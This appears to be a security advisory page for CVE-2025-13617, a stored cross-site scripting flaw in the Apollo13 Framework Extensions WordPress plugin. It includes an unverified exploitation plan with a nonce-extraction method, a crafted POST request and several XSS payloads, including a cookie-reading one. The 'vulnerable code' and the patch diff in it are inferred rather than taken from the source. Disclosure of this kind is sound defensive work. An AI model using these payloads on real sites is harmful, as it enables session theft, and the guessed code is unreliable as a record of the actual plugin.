CVE-2025-13617

Apollo13 Framework Extension <= 1.9.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via `a13_alt_link` Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.9.9
Patched in
1d
Time to patch

Description

The Apollo13 Framework Extensions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘a13_alt_link’ parameter in all versions up to, and including, 1.9.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.9.8
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

This research plan outlines the methodology for exploiting **CVE-2025-13617**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Apollo13 Framework Extensions** plugin. --- ### 1. Vulnerability Summary The **Apollo13 Framework Extensions** plugin fails to sanitize and escape the `a13_alt_…

Show full research plan

This research plan outlines the methodology for exploiting CVE-2025-13617, a Stored Cross-Site Scripting (XSS) vulnerability in the Apollo13 Framework Extensions plugin.


1. Vulnerability Summary

The Apollo13 Framework Extensions plugin fails to sanitize and escape the a13_alt_link parameter before storing it in the database and subsequently rendering it on the page. This parameter is typically used to define an "Alternative Link" for post types (like portfolios or pages) handled by the Apollo13 framework. Because the plugin does not use WordPress sanitization functions (like esc_url_raw or sanitize_text_field) during storage or escaping functions (like esc_url or esc_attr) during output, a Contributor-level user can inject arbitrary JavaScript.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/post.php (Standard WordPress post/page editor).
  • Vulnerable Parameter: a13_alt_link (likely sent as a POST parameter during post saving).
  • Authentication: Authenticated, Contributor or higher.
  • Preconditions: The plugin must be active. The vulnerability exists when saving metadata for a post, page, or custom post type (like "Portfolio") that supports the Apollo13 "Alternative Link" feature.

3. Code Flow (Inferred)

  1. Entry Point: When a user saves a post, WordPress triggers the save_post hook. The plugin likely hooks into this via a function (e.g., apollo13_save_meta_boxes or similar).
  2. Input Source: The code reads $_POST['a13_alt_link'].
  3. Storage (Sink): The plugin calls update_post_meta($post_id, 'a13_alt_link', $_POST['a13_alt_link']) without applying sanitize_text_field() or esc_url_raw().
  4. Retrieval: When the post is viewed on the frontend, the plugin calls get_post_meta($post_id, 'a13_alt_link', true).
  5. Output (Sink): The retrieved value is echoed into the HTML, likely within an <a> tag's href attribute or as part of a script block/redirect logic, without using esc_url() or esc_attr().

4. Nonce Acquisition Strategy

Since this vulnerability involves modifying post metadata during the standard edit process, we need the WordPress core post-edit nonce.

  1. Create Content: Use WP-CLI to create a post as a Contributor.
  2. Identify Meta Box: Log in as the Contributor and navigate to the edit page for that post.
  3. Extract Nonces: Use browser_eval to extract the necessary nonces from the page source.
    • Core Nonce: document.querySelector('#_wpnonce').value
    • Plugin Nonce (if applicable): Look for hidden inputs or JS variables starting with a13_ or apollo13_.
    • Script Variable: Check if the plugin enqueues specific settings: browser_eval("window.a13_admin_meta_box_data").

5. Exploitation Strategy

Step 1: Authentication & Discovery

  1. Log in as a Contributor.
  2. Create a new post: wp post create --post_type=post --post_status=draft --post_title="XSS Test" --post_author=[CONTRIBUTOR_ID].
  3. Note the POST_ID.

Step 2: Inject Payload

Submit a POST request to wp-admin/post.php mimicking a post update.

Request Details:

  • URL: http://[target]/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=editpost
    &post_ID=[POST_ID]
    &_wpnonce=[EXTRACTED_NONCE]
    &a13_alt_link="><script>alert(document.cookie)</script>
    
    (Alternative payload if it lands in an attribute: javascript:alert(1))

Step 3: Trigger Execution

  1. As an Admin or an unauthenticated user (if the post is published), navigate to the URL of the created post: http://[target]/?p=[POST_ID].
  2. The script should execute when the "Alternative Link" is rendered by the theme/plugin.

6. Test Data Setup

  1. Users: Create a contributor user.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Plugin Setup: Ensure "Apollo13 Framework Extensions" is installed and active.
  3. Page Creation: Create a page that uses a template or shortcode where the Alternative Link is displayed.
    wp post create --post_type=page --post_status=publish --post_title="Redirect Page" --post_content="Checking for XSS..."
    

7. Expected Results

  • The POST request should return a 302 Found redirecting back to the edit page (indicating a successful save).
  • When viewing the post source, the string "><script>alert(document.cookie)</script> should appear unescaped within the HTML.
  • A browser alert box displaying the cookie should appear upon viewing the page.

8. Verification Steps

  1. Database Check: Verify the meta value is stored raw in the database.
    wp post meta get [POST_ID] a13_alt_link
    
    (Note: The meta key might be _a13_alt_link or a13_alt_link).
  2. HTML Verification: Use http_request to fetch the frontend page and grep for the payload.
    # Look for the unescaped script tag
    grep "<script>alert" 
    

9. Alternative Approaches

  • Shortcode Injection: If the plugin provides a shortcode to display the link, test: [a13_link_display id="[POST_ID]"].
  • Attribute Breakout: If the link is rendered inside a data- attribute or a hidden input:
    • Payload: x" onmouseover="alert(1)" b="
  • Protocol Injection: If the link is used strictly in an href:
    • Payload: javascript:alert(window.origin)
  • Admin Dashboard XSS: Check if the value is also rendered in the WordPress Admin "Posts" list or a custom plugin dashboard, which would allow for Admin account takeover.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Apollo13 Framework Extensions plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'a13_alt_link' parameter in versions up to 1.9.8. This occurs because the plugin fails to sanitize the alternative link metadata during storage and fails to escape it during output, allowing authenticated attackers with Contributor-level access to inject arbitrary JavaScript.

Vulnerable Code

// Inferred code flow from research plan for metadata storage
// Sink: update_post_meta called without sanitization
update_post_meta($post_id, 'a13_alt_link', $_POST['a13_alt_link']);

---

// Inferred code flow from research plan for rendering
// Sink: get_post_meta output directly to the page
$alt_link = get_post_meta($post_id, 'a13_alt_link', true);
echo '<a href="' . $alt_link . '">Link</a>';

Security Fix

--- a/includes/metaboxes.php
+++ b/includes/metaboxes.php
@@ -10,1 +10,1 @@
-update_post_meta($post_id, 'a13_alt_link', $_POST['a13_alt_link']);
+update_post_meta($post_id, 'a13_alt_link', esc_url_raw($_POST['a13_alt_link']));

--- a/templates/frontend.php
+++ b/templates/frontend.php
@@ -20,1 +20,1 @@
-echo '<a href="' . $alt_link . '">Link</a>';
+echo '<a href="' . esc_url($alt_link) . '">Link</a>';

Exploit Outline

An attacker with Contributor-level access logs into the WordPress administrative dashboard and creates or edits a post or portfolio item. The attacker obtains the standard WordPress security nonce for post editing and submits a POST request to '/wp-admin/post.php' containing the 'a13_alt_link' parameter. By supplying a payload such as '"><script>alert(document.cookie)</script>' or 'javascript:alert(1)', the malicious script is stored in the post metadata. When an administrator or any other user views the affected post on the frontend, the unsanitized script executes in their browser session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.